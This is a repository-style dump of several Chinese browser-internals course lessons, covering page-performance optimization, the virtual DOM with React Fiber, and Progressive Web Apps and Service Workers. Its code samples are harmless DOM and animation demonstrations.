&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;div class=&quot;box&quot;&gt;旋转盒子&lt;/div&gt;
&lt;/div&gt;
&lt;script&gt;
let boxes = document.querySelectorAll('.box');
let boxes1 = document.querySelectorAll('.box1');
let start = document.getElementById('start');
let stop = document.getElementById('stop');
let stop_flag = false
start.addEventListener('click', function () {
stop_flag = false
requestAnimationFrame(render);
})
stop.addEventListener('click', function () {
stop_flag = true
})
let rotate_ = 0
let opacity_ = 0
function render() {
if (stop_flag)
return 0
rotate_ = rotate_ + 6
if (opacity_ &gt; 1)
opacity_ = 0
opacity_ = opacity_ + 0.01
let command = 'rotate(' + rotate_ + 'deg)';
for (let index = 0; index &lt; boxes.length; index++) {
boxes[index].style.transform = command
boxes[index].style.opacity = opacity_
}
requestAnimationFrame(render);
}
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,201 @@
<audio id="audio" title="25 | 页面性能:如何系统地优化页面?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/e9/49/e9651f8db4e8bd2c3a57d5e6a9b3d449.mp3"></audio>
在前面几篇文章中我们分析了页面加载和DOM生成讨论了JavaScript和CSS是如何影响到DOM生成的还结合渲染流水线来讲解了分层和合成机制同时在这些文章里面我们还穿插说明了很多优化页面性能的最佳实践策略。通过这些知识点的学习相信你已经知道渲染引擎是怎么绘制出帧的不过之前我们介绍的内容比较零碎、比较散那么今天我们就来将这些内容系统性地串起来。
那么怎么才能把这些知识点串起来呢?我的思路是从如何系统优化页面速度的角度来切入。
**这里我们所谈论的页面优化,其实就是要让页面更快地显示和响应**。由于一个页面在它不同的阶段,所侧重的关注点是不一样的,所以如果我们要讨论页面优化,就要分析一个页面生存周期的不同阶段。
通常一个页面有三个阶段:**加载阶段、交互阶段和关闭阶段**。
- 加载阶段是指从发出请求到渲染出完整页面的过程影响到这个阶段的主要因素有网络和JavaScript脚本。
- 交互阶段主要是从页面加载完成到用户交互的整合过程影响到这个阶段的主要因素是JavaScript脚本。
- 关闭阶段,主要是用户发出关闭指令后页面所做的一些清理操作。
这里我们需要**重点关注加载阶段和交互阶段**,因为影响到我们体验的因素主要都在这两个阶段,下面我们就来逐个详细分析下。
## 加载阶段
我们先来分析如何系统优化加载阶段中的页面,还是先看一个典型的渲染流水线,如下图所示:
<img src="https://static001.geekbang.org/resource/image/5d/7b/5d8716586b5f4d719097dca881007a7b.jpg" alt="">
观察上面这个渲染流水线,你能分析出来有哪些因素影响了页面加载速度吗?下面我们就先来分析下这个问题。
通过前面文章的讲解你应该已经知道了并非所有的资源都会阻塞页面的首次绘制比如图片、音频、视频等文件就不会阻塞页面的首次渲染而JavaScript、首次请求的HTML资源文件、CSS文件是会阻塞首次渲染的因为在构建DOM的过程中需要HTML和JavaScript文件在构造渲染树的过程中需要用到CSS文件。
我们把**这些能阻塞网页首次渲染的资源称为关键资源**。基于关键资源,我们可以继续细化出来三个影响页面首次渲染的核心因素。
**第一个是关键资源个数**。关键资源个数越多首次页面的加载时间就会越长。比如上图中的关键资源个数就是3个1个HTML文件、1个JavaScript和1个CSS文件。
**第二个是关键资源大小**。通常情况下所有关键资源的内容越小其整个资源的下载时间也就越短那么阻塞渲染的时间也就越短。上图中关键资源的大小分别是6KB、8KB和9KB那么整个关键资源大小就是23KB。
**第三个是请求关键资源需要多少个RTTRound Trip Time**。那什么是RTT呢 在[《02 | TCP协议如何保证页面文件能被完整送达浏览器](https://time.geekbang.org/column/article/113550)这篇文章中我们分析过当使用TCP协议传输一个文件时比如这个文件大小是0.1M由于TCP的特性这个数据并不是一次传输到服务端的而是需要拆分成一个个数据包来回多次进行传输的。**RTT就是这里的往返时延。它是网络中一个重要的性能指标表示从发送端发送数据开始到发送端收到来自接收端的确认总共经历的时延**。通常1个HTTP的数据包在14KB左右所以1个0.1M的页面就需要拆分成8个包来传输了也就是说需要8个RTT。
我们可以结合上图来看看它的关键资源请求需要多少个RTT。首先是请求HTML资源大小是6KB小于14KB所以1个RTT就可以解决了。至于JavaScript和CSS文件这里需要注意一点由于渲染引擎有一个预解析的线程在接收到HTML数据之后预解析线程会快速扫描HTML数据中的关键资源一旦扫描到了会立马发起请求你可以认为JavaScript和CSS是同时发起请求的所以它们的请求是重叠的那么计算它们的RTT时只需要计算体积最大的那个数据就可以了。这里最大的是CSS文件9KB所以我们就按照9KB来计算同样由于9KB小于14KB所以JavaScript和CSS资源也就可以算成1个RTT。也就是说上图中关键资源请求共花费了2个RTT。
了解了影响加载过程中的几个核心因素之后,接下来我们就可以系统性地考虑优化方案了。**总的优化原则就是减少关键资源个数降低关键资源大小降低关键资源的RTT次数**。
- 如何减少关键资源的个数一种方式是可以将JavaScript和CSS改成内联的形式比如上图的JavaScript和CSS若都改成内联模式那么关键资源的个数就由3个减少到了1个。另一种方式如果JavaScript代码没有DOM或者CSSOM的操作则可以改成async或者defer属性同样对于CSS如果不是在构建页面之前加载的则可以添加媒体取消阻止显现的标志。当JavaScript标签加上了async或者defer、CSSlink 属性之前加上了取消阻止显现的标志后,它们就变成了非关键资源了。
- 如何减少关键资源的大小可以压缩CSS和JavaScript资源移除HTML、CSS、JavaScript文件中一些注释内容也可以通过前面讲的取消CSS或者JavaScript中关键资源的方式。
- 如何减少关键资源RTT的次数可以通过减少关键资源的个数和减少关键资源的大小搭配来实现。除此之外还可以使用CDN来减少每次RTT时长。
在优化实际的页面加载速度时,你可以先画出优化之前关键资源的图表,然后按照上面优化关键资源的原则去优化,优化完成之后再画出优化之后的关键资源图表。
## 交互阶段
接下来我们再来聊聊页面加载完成之后的交互阶段以及应该如何去优化。谈交互阶段的优化,其实就是在谈渲染进程渲染帧的速度,因为在交互阶段,帧的渲染速度决定了交互的流畅度。因此讨论页面优化实际上就是讨论渲染引擎是如何渲染帧的,否则就无法优化帧率。
我们先来看看交互阶段的渲染流水线如下图。和加载阶段的渲染流水线有一些不同的地方是在交互阶段没有了加载关键资源和构建DOM、CSSOM流程通常是由JavaScript触发交互动画的。
<img src="https://static001.geekbang.org/resource/image/4a/0c/4a942e53f9358c9c4634c310335cc10c.png" alt="">
结合上图我们来一起回顾下交互阶段是如何生成一个帧的。大部分情况下生成一个新的帧都是由JavaScript通过修改DOM或者CSSOM来触发的。还有另外一部分帧是由CSS来触发的。
如果在计算样式阶段发现有布局信息的修改,那么就会触发**重排**操作,然后触发后续渲染流水线的一系列操作,这个代价是非常大的。
同样如果在计算样式阶段没有发现有布局信息的修改,只是修改了颜色一类的信息,那么就不会涉及到布局相关的调整,所以可以跳过布局阶段,直接进入绘制阶段,这个过程叫**重绘**。不过重绘阶段的代价也是不小的。
还有另外一种情况通过CSS实现一些变形、渐变、动画等特效这是由CSS触发的并且是在合成线程上执行的这个过程称为合成。因为它不会触发重排或者重绘而且合成操作本身的速度就非常快所以执行合成是效率最高的方式。
回顾了在交互过程中的帧是如何生成的,那接下来我们就可以讨论优化方案了。**一个大的原则就是让单个帧的生成速度变快**。所以,下面我们就来分析下在交互阶段渲染流水线中有哪些因素影响了帧的生成速度以及如何去优化。
### 1. 减少JavaScript脚本执行时间
有时JavaScript函数的一次执行时间可能有几百毫秒这就严重霸占了主线程执行其他渲染任务的时间。针对这种情况我们可以采用以下两种策略
- 一种是将一次执行的函数分解为多个任务,使得每次的执行时间不要过久。
- 另一种是采用Web Workers。你可以把Web Workers当作主线程之外的一个线程在Web Workers中是可以执行JavaScript脚本的不过Web Workers中没有DOM、CSSOM环境这意味着在Web Workers中是无法通过JavaScript来访问DOM的所以我们可以把一些和DOM操作无关且耗时的任务放到Web Workers中去执行。
总之在交互阶段对JavaScript脚本总的原则就是不要一次霸占太久主线程。
### 2. 避免强制同步布局
在介绍强制同步布局之前我们先来聊聊正常情况下的布局操作。通过DOM接口执行添加元素或者删除元素等操作后是需要重新计算样式和布局的不过正常情况下这些操作都是在另外的任务中异步完成的这样做是为了避免当前的任务占用太长的主线程时间。为了直观理解你可以参考下面的代码
```
&lt;html&gt;
&lt;body&gt;
&lt;div id=&quot;mian_div&quot;&gt;
&lt;li id=&quot;time_li&quot;&gt;time&lt;/li&gt;
&lt;li&gt;geekbang&lt;/li&gt;
&lt;/div&gt;
&lt;p id=&quot;demo&quot;&gt;强制布局demo&lt;/p&gt;
&lt;button onclick=&quot;foo()&quot;&gt;添加新元素&lt;/button&gt;
&lt;script&gt;
function foo() {
let main_div = document.getElementById(&quot;mian_div&quot;)
let new_node = document.createElement(&quot;li&quot;)
let textnode = document.createTextNode(&quot;time.geekbang&quot;)
new_node.appendChild(textnode);
document.getElementById(&quot;mian_div&quot;).appendChild(new_node);
}
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
```
对于上面这段代码我们可以使用Performance工具来记录添加元素的过程如下图所示
<img src="https://static001.geekbang.org/resource/image/32/c9/32b6a645646f99fc3517fb0b5e003cc9.png" alt="">
从图中可以看出来执行JavaScript添加元素是在一个任务中执行的重新计算样式布局是在另外一个任务中执行这就是正常情况下的布局操作。
理解了正常情况下的布局操作,接下来我们就可以聊什么是强制同步布局了。
**所谓强制同步布局是指JavaScript强制将计算样式和布局操作提前到当前的任务中**。为了直观理解,这里我们对上面的代码做了一点修改,让它变成强制同步布局,修改后的代码如下所示:
```
function foo() {
let main_div = document.getElementById(&quot;mian_div&quot;)
let new_node = document.createElement(&quot;li&quot;)
let textnode = document.createTextNode(&quot;time.geekbang&quot;)
new_node.appendChild(textnode);
document.getElementById(&quot;mian_div&quot;).appendChild(new_node);
//由于要获取到offsetHeight
//但是此时的offsetHeight还是老的数据
//所以需要立即执行布局操作
console.log(main_div.offsetHeight)
}
```
将新的元素添加到DOM之后我们又调用了`main_div.offsetHeight`来获取新main_div的高度信息。如果要获取到main_div的高度就需要重新布局所以这里在获取到main_div的高度之前JavaScript还需要强制让渲染引擎默认执行一次布局操作。我们把这个操作称为强制同步布局。
同样你可以看下面通过Performance记录的任务状态
<img src="https://static001.geekbang.org/resource/image/ce/d9/ce951be7a38e2ef1a9a23a1c7e84b1d9.png" alt="">
从上图可以看出来,计算样式和布局都是在当前脚本执行过程中触发的,这就是强制同步布局。
为了避免强制同步布局我们可以调整策略在修改DOM之前查询相关值。代码如下所示
```
function foo() {
let main_div = document.getElementById(&quot;mian_div&quot;)
//为了避免强制同步布局在修改DOM之前查询相关值
console.log(main_div.offsetHeight)
let new_node = document.createElement(&quot;li&quot;)
let textnode = document.createTextNode(&quot;time.geekbang&quot;)
new_node.appendChild(textnode);
document.getElementById(&quot;mian_div&quot;).appendChild(new_node);
}
```
### 3. 避免布局抖动
还有一种比强制同步布局更坏的情况那就是布局抖动。所谓布局抖动是指在一次JavaScript执行过程中多次执行强制布局和抖动操作。为了直观理解你可以看下面的代码
```
function foo() {
let time_li = document.getElementById(&quot;time_li&quot;)
for (let i = 0; i &lt; 100; i++) {
let main_div = document.getElementById(&quot;mian_div&quot;)
let new_node = document.createElement(&quot;li&quot;)
let textnode = document.createTextNode(&quot;time.geekbang&quot;)
new_node.appendChild(textnode);
new_node.offsetHeight = time_li.offsetHeight;
document.getElementById(&quot;mian_div&quot;).appendChild(new_node);
}
}
```
我们在一个for循环语句里面不断读取属性值每次读取属性值之前都要进行计算样式和布局。执行代码之后使用Performance记录的状态如下所示
<img src="https://static001.geekbang.org/resource/image/36/87/36159f7081e37ce4714b20ce2630e987.png" alt="">
从上图可以看出在foo函数内部重复执行计算样式和布局这会大大影响当前函数的执行效率。这种情况的避免方式和强制同步布局一样都是尽量不要在修改DOM结构时再去查询一些相关值。
### 4. 合理利用CSS合成动画
合成动画是直接在合成线程上执行的这和在主线程上执行的布局、绘制等操作不同如果主线程被JavaScript或者一些布局任务占用CSS动画依然能继续执行。所以要尽量利用好CSS合成动画如果能让CSS处理动画就尽量交给CSS来操作。
另外如果能提前知道对某个元素执行动画操作那就最好将其标记为will-change这是告诉渲染引擎需要将该元素单独生成一个图层。
### 5. 避免频繁的垃圾回收
我们知道JavaScript使用了自动垃圾回收机制如果在一些函数中频繁创建临时对象那么垃圾回收器也会频繁地去执行垃圾回收策略。这样当垃圾回收操作发生时就会占用主线程从而影响到其他任务的执行严重的话还会让用户产生掉帧、不流畅的感觉。
所以要尽量避免产生那些临时垃圾数据。那该怎么做呢?可以尽可能优化储存结构,尽可能避免小颗粒对象的产生。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
我们主要讲解了如何系统优化加载阶段和交互阶段的页面。
在加载阶段核心的优化原则是优化关键资源的加载速度减少关键资源的个数降低关键资源的RTT次数。
在交互阶段核心的优化原则是尽量减少一帧的生成时间。可以通过减少单次JavaScript的执行时间、避免强制同步布局、避免布局抖动、尽量采用CSS的合成动画、避免频繁的垃圾回收等方式来减少一帧生成的时长。
## 思考时间
那你来分析下新浪官网([https://www.sina.com.cn/](https://www.sina.com.cn/) )在加载阶段和交互阶段所存在的一些性能问题。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,93 @@
<audio id="audio" title="26 | 虚拟DOM虚拟DOM和实际的DOM有何不同" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/31/81/3144fa5b3c3e82a02e830be28a05a481.mp3"></audio>
虚拟DOM是最近非常火的技术两大著名前端框架React和Vue都使用了虚拟DOM所以我觉得非常有必要结合浏览器的工作机制对虚拟DOM进行一次分析。当然了React和Vue框架本身所蕴含的知识点非常多而且也不是我们专栏的重点所以在这里我们还是把重心聚焦在虚拟DOM上。
在本文我们会先聊聊DOM的一些缺陷然后在此基础上介绍虚拟DOM是如何解决这些缺陷的最后再站在双缓存和MVC的视角来聊聊虚拟DOM。理解了这些会让你对目前的前端框架有一个更加底层的认识这也有助于你更好地理解这些前端框架。
## DOM的缺陷
通过前面一系列文章的学习你对DOM的生成过程应该已经有了比较深刻的理解并且也知道了通过JavaScript操纵DOM是会影响到整个渲染流水线的。另外DOM还提供了一组JavaScript接口用来遍历或者修改节点这套接口包含了getElementById、removeChild、appendChild等方法。
比如,我们可以调用`document.body.appendChild(node)`往body节点上添加一个元素调用该API之后会引发一系列的连锁反应。首先渲染引擎会将node节点添加到body节点之上然后触发样式计算、布局、绘制、栅格化、合成等任务我们把这一过程称为**重排**。除了重排之外,还有可能引起**重绘**或者**合成**操作,形象地理解就是“**牵一发而动全身**”。另外对于DOM的不当操作还有可能引发**强制同步布局**和**布局抖动**的问题这些操作都会大大降低渲染效率。因此对于DOM的操作我们时刻都需要非常小心谨慎。
当然对于简单的页面来说其DOM结构还是比较简单的所以以上这些操作DOM的问题并不会对用户体验产生太多影响。但是对于一些复杂的页面或者目前使用非常多的单页应用来说其DOM结构是非常复杂的而且还需要不断地去修改DOM树每次操作DOM渲染引擎都需要进行重排、重绘或者合成等操作因为DOM结构复杂所生成的页面结构也会很复杂对于这些复杂的页面执行一次重排或者重绘操作都是非常耗时的这就给我们带来了真正的性能问题。
所以我们需要有一种方式来减少JavaScript对DOM的操作这时候虚拟DOM就上场了。
## 什么是虚拟DOM
在谈论什么是虚拟DOM之前我们先来看看虚拟DOM到底要解决哪些事情。
- 将页面改变的内容应用到虚拟DOM上而不是直接应用到DOM上。
- 变化被应用到虚拟DOM上时虚拟DOM并不急着去渲染页面而仅仅是调整虚拟DOM的内部状态这样操作虚拟DOM的代价就变得非常轻了。
- 在虚拟DOM收集到足够的改变时再把这些变化一次性应用到真实的DOM上。
基于以上三点我们再来看看什么是虚拟DOM。为了直观理解你可以参考下图
<img src="https://static001.geekbang.org/resource/image/cf/90/cf2089ad62af94881757c2f2de277890.png" alt="">
该图是我结合React流程画的一张虚拟DOM执行流程图下面我们就结合这张图来分析下虚拟DOM到底怎么运行的。
- **创建阶段**。首先依据JSX和基础数据创建出来虚拟DOM它反映了真实的DOM树的结构。然后由虚拟DOM树创建出真实DOM树真实的DOM树生成完后再触发渲染流水线往屏幕输出页面。
- **更新阶段**。如果数据发生了改变那么就需要根据新的数据创建一个新的虚拟DOM树然后React比较两个树找出变化的地方并把变化的地方一次性更新到真实的DOM树上最后渲染引擎更新渲染流水线并生成新的页面。
既然聊到虚拟DOM的更新那我们就不得不聊聊最新的**React Fiber更新机制**。通过上图我们知道当有数据更新时React会生成一个新的虚拟DOM然后拿新的虚拟DOM和之前的虚拟DOM进行比较这个过程会找出变化的节点然后再将变化的节点应用到DOM上。
这里我们重点关注下比较过程最开始的时候比较两个虚拟DOM的过程是在一个递归函数里执行的其**核心算法是reconciliation**。通常情况下这个比较过程执行得很快不过当虚拟DOM比较复杂的时候执行比较函数就有可能占据主线程比较久的时间这样就会导致其他任务的等待造成页面卡顿。为了解决这个问题React团队重写了reconciliation算法新的算法称为Fiber reconciler之前老的算法称为Stack reconciler。
在前面[《20 | async/await使用同步的方式去写异步代码》](https://time.geekbang.org/column/article/137827)那篇文章中我们介绍了协程其实协程的另外一个称呼就是Fiber所以在这里我们可以把Fiber和协程关联起来那么所谓的Fiber reconciler相信你也很清楚了就是在执行算法的过程中出让主线程这样就解决了Stack reconciler函数占用时间过久的问题。至于具体的实现过程在这里我就不详细分析了如果感兴趣的话你可以自行查阅相关资料进行学习。
了解完虚拟DOM的大致执行流程你应该也就知道为何需要虚拟DOM了。不过以上都从单纯的技术视角来分析虚拟DOM的那接下来我们再从双缓存和MVC模型这两个视角来聊聊虚拟DOM。
### 1. 双缓存
在开发游戏或者处理其他图像的过程中,屏幕从前缓冲区读取数据然后显示。但是很多图形操作都很复杂且需要大量的运算,比如一幅完整的画面,可能需要计算多次才能完成,如果每次计算完一部分图像,就将其写入缓冲区,那么就会造成一个后果,那就是在显示一个稍微复杂点的图像的过程中,你看到的页面效果可能是一部分一部分地显示出来,因此在刷新页面的过程中,会让用户感受到界面的闪烁。
而使用双缓存,可以让你先将计算的中间结果存放在另一个缓冲区中,等全部的计算结束,该缓冲区已经存储了完整的图形之后,再将该缓冲区的图形数据一次性复制到显示缓冲区,这样就使得整个图像的输出非常稳定。
在这里你可以把虚拟DOM看成是DOM的一个buffer和图形显示一样它会在完成一次完整的操作之后再把结果应用到DOM上这样就能减少一些不必要的更新同时还能保证DOM的稳定输出。
### 2. MVC模式
到这里我们了解了虚拟DOM是一种类似双缓存的实现。不过如果站在技术角度来理解虚拟缓存依然不能全面理解其含义。那么接下来我们再来看看虚拟DOM在MVC模式中所扮演的角色。
在各大设计模式当中MVC是一个非常重要且应用广泛的模式因为它能将数据和视图进行分离在涉及到一些复杂的项目时能够大大减轻项目的耦合度使得程序易于维护。
关于MVC的基础结构你可以先参考下图
<img src="https://static001.geekbang.org/resource/image/4c/a6/4c03b5882878dcce2df01c1e2e8db8a6.png" alt="">
通过上图你可以发现MVC的整体结构比较简单由模型、视图和控制器组成其**核心思想就是将数据和视图分离**也就是说视图和模型之间是不允许直接通信的它们之间的通信都是通过控制器来完成的。通常情况下的通信路径是视图发生了改变然后通知控制器控制器再根据情况判断是否需要更新模型数据。当然还可以根据不同的通信路径和控制器不同的实现方式基于MVC又能衍生出很多其他的模式如MVP、MVVM等不过万变不离其宗它们的基础骨架都是基于MVC而来。
所以在分析基于React或者Vue这些前端框架时我们需要先重点把握大的MVC骨架结构然后再重点查看通信方式和控制器的具体实现方式这样我们就能从架构的视角来理解这些前端框架了。比如在分析React项目时我们可以把React的部分看成是一个MVC中的视图在项目中结合Redux就可以构建一个MVC的模型结构如下图所示
<img src="https://static001.geekbang.org/resource/image/e0/03/e024ba6c212a1d6bfa01b327e987e103.png" alt="">
在该图中我们可以把虚拟DOM看成是MVC的视图部分其控制器和模型都是由Redux提供的。其具体实现过程如下
- 图中的控制器是用来监控DOM的变化一旦DOM发生变化控制器便会通知模型让其更新数据
- 模型数据更新好之后,控制器会通知视图,告诉它模型的数据发生了变化;
- 视图接收到更新消息之后会根据模型所提供的数据来生成新的虚拟DOM
- 新的虚拟DOM生成好之后就需要与之前的虚拟DOM进行比较找出变化的节点
- 比较出变化的节点之后React将变化的虚拟节点应用到DOM上这样就会触发DOM节点的更新
- DOM节点的变化又会触发后续一系列渲染流水线的变化从而实现页面的更新。
在实际工程项目中,你需要学会分析出这各个模块,并梳理出它们之间的通信关系,这样对于任何框架你都能轻松上手了。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
首先我们分析了直接操作DOM会触发渲染流水线的一系列反应如果对DOM操作不当的话甚至还会触发强制同步布局和布局抖动的问题这也是我们在操作DOM时需要非常小心谨慎的原因。
在此分析的基础上我们介绍了虚拟DOM是怎么解决直接操作DOM所带来的问题以及React Fiber更新机制。
要聊前端框架就绕不开设计模式所以接下来我们又从双缓存和MVC角度分析了虚拟DOM。双缓存是一种经典的思路应用在很多场合能解决页面无效刷新和闪屏的问题虚拟DOM就是双缓存思想的一种体现。而基于MVC的设计思想也广泛地渗透到各种场合并且基于MVC又衍生出了很多其他模式如MVP、MVVM等不过万变不离其宗它们的基础骨架都是基于MVC而来。站在MVC视角来理解虚拟DOM能让你看到更为“广阔的世界”。
## 思考时间
今天留给你的思考题是虚拟DOM都解决了哪些问题
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,92 @@
<audio id="audio" title="27 | 渐进式网页应用PWA它究竟解决了Web应用的哪些问题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/e3/e7/e32654aa66ba7ada9a13fb47db15e2e7.mp3"></audio>
在专栏[开篇词](https://time.geekbang.org/column/article/113399)中,我们提到过浏览器的三大进化路线:
- 第一个是应用程序Web化
- 第二个是Web应用移动化
- 第三个是Web操作系统化
其中第二个Web应用移动化是Google梦寐以求而又一直在发力的一件事不过对于移动设备来说前有本地App后有移动小程序想要浏览器切入到移动端是相当困难的一件事因为浏览器的运行性能是低于本地App的并且Google也没有类似微信或者Facebook这种体量的用户群体。
但是要让浏览器切入到移动端让其取得和原生应用同等待遇可是Google的梦想那该怎么做呢
这就是我们本节要聊的PWA。那什么是PWAPWA又是以什么方式切入到移动端的呢
PWA全称是Progressive Web App翻译过来就是渐进式网页应用。根据字面意思它就是“渐进式+Web应用”。对于Web应用很好理解了就是目前我们普通的Web页面所以PWA所支持的首先是一个Web页面。至于“渐进式”就需要从下面两个方面来理解。
- 站在Web应用开发者来说PWA提供了一个渐进式的过渡方案让Web应用能逐步具有本地应用的能力。采取渐进式可以降低站点改造的代价使得站点逐步支持各项新技术而不是一步到位。
- 站在技术角度来说PWA技术也是一个渐进式的演化过程在技术层面会一点点演进比如逐渐提供更好的设备特性支持不断优化更加流畅的动画效果不断让页面的加载速度变得更快不断实现本地应用的特性。
从这两点可以看出来PWA采取的是非常一个缓和的渐进式策略不再像以前那样激进动不动就是取代本地App、取代小程序。与之相反而是要充分发挥Web的优势渐进式地缩短和本地应用或者小程序的距离。
那么Web最大的优势是什么呢我认为是自由开放也正是因为自由和开放所以大家就很容易对同一件事情达成共识达成共识之后一套代码就可以运行在各种设备之上了这就是跨平台这也恰恰是本地应用所不具备的。而对于小程序倒是可以实现跨平台但要让各家达成共识目前来看似乎还是非常不切实际的。
所以我给PWA的定义就是**它是一套理念渐进式增强Web的优势并通过技术手段渐进式缩短和本地应用或者小程序的距离**。基于这套理念之下的技术都可以归类到PWA。
那今天我们就主要来聊聊PWA主要采用了哪些技术手段来缩短它和本地应用或者小程序的距离。
## Web应用 VS 本地应用
那相对于本地应用Web页面到底缺少了什么
- 首先Web应用缺少离线使用能力在离线或者在弱网环境下基本上是无法使用的。而用户需要的是沉浸式的体验在离线或者弱网环境下能够流畅地使用是用户对一个应用的基本要求。
- 其次Web应用还缺少了消息推送的能力因为作为一个App厂商需要有将消息送达到应用的能力。
- 最后Web应用缺少一级入口也就是将Web应用安装到桌面在需要的时候直接从桌面打开Web应用而不是每次都需要通过浏览器来打开。
**针对以上Web缺陷PWA提出了两种解决方案通过引入Service Worker来试着解决离线存储和消息推送的问题通过引入manifest.json来解决一级入口的问题**。下面我们就来详细分析下Service Worker是如何工作的。
## 什么是Service Worker
我们先来看看 Service Worker是怎么解决离线存储和消息推送的问题。
其实在Service Worker之前WHATWG小组就推出过用App Cache标准来缓存页面不过在使用过程中App Cache所暴露的问题比较多遭到多方吐槽所以这个标准最终也只能被废弃了可见一个成功的标准是需要经历实践考量的。
所以在2014年的时候标准委员会就提出了Service Worker的概念它的主要思想是**在页面和网络之间增加一个拦截器,用来缓存和拦截请求**。整体结构如下图所示:
<img src="https://static001.geekbang.org/resource/image/23/12/23b97b087c346cdd378b26b2d158e812.png" alt="">
在没有安装Service Worker之前WebApp都是直接通过网络模块来请求资源的。安装了Service Worker模块之后WebApp请求资源时会先通过Service Worker让它判断是返回Service Worker 缓存的资源还是重新去网络请求资源。一切的控制权都交由Service Worker来处理。
## Service Worker的设计思路
现在我们知道Service Worker的主要功能就是拦截请求和缓存资源接下来我们就从Web应用的需求角度来看看Service Worker的设计思路。
### 1. 架构
通过前面**页面循环系统**的分析我们已经知道了JavaScript和页面渲染流水线的任务都是在页面主线程上执行的如果一段JavaScript执行时间过久那么就会阻塞主线程使得渲染一帧的时间变长从而让用户产生卡顿的感觉这对用户来说体验是非常不好的。
为了避免JavaScript过多占用页面主线程时长的情况浏览器实现了Web Worker的功能。Web Worker的目的是让JavaScript能够运行在页面主线程之外不过由于Web Worker中是没有当前页面的DOM环境的所以在Web Worker中只能执行一些和DOM无关的JavaScript脚本并通过postMessage方法将执行的结果返回给主线程。所以说在Chrome中 Web Worker其实就是在渲染进程中开启的一个新线程它的生命周期是和页面关联的。
**“让其运行在主线程之外”就是Service Worker来自Web Worker的一个核心思想**。不过Web Worker是临时的每次JavaScript脚本执行完成之后都会退出执行结果也不能保存下来如果下次还有同样的操作就还得重新来一遍。所以Service Worker需要在Web Worker的基础之上加上储存功能。
另外由于Service Worker还需要会为多个页面提供服务所以还**不能把Service Worker和单个页面绑定起来**。在目前的Chrome架构中Service Worker是运行在浏览器进程中的因为浏览器进程生命周期是最长的所以在浏览器的生命周期内能够为所有的页面提供服务。
### 2. 消息推送
**消息推送也是基于Service Worker来实现的**。因为消息推送时浏览器页面也许并没有启动这时就需要Service Worker来接收服务器推送的消息并将消息通过一定方式展示给用户。关于消息推送的细节这里我们就不详述了如果你感兴趣的话可以自行搜索相关资料去学习。
### 3. 安全
基于Web应用的业务越来越多了其安全问题是不可忽视的所以在设计Service Worker之初安全问题就被提上了日程。
关于安全其中最为核心的一条就是HTTP。我们知道HTTP采用的是明文传输信息存在被窃听、被篡改和被劫持的风险在项目中使用HTTP来传输数据无疑是“裸奔”。所以在设计之初就考虑对Service Worker采用HTTPS协议因为采用HTTPS 的通信数据都是经过加密的即便拦截了数据也无法破解数据内容而且HTTPS还有校验机制通信双方很容易知道数据是否被篡改。关于HTTPS协议我们会在最后的安全模块详细介绍。
所以要使站点支持Service Worker首先必要的一步就是要将站点升级到HTTPS。
除了必须要使用HTTPSService Worker还需要同时支持Web页面默认的安全策略诸如同源策略、内容安全策略CSP关于这些后续我们也会详细介绍。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
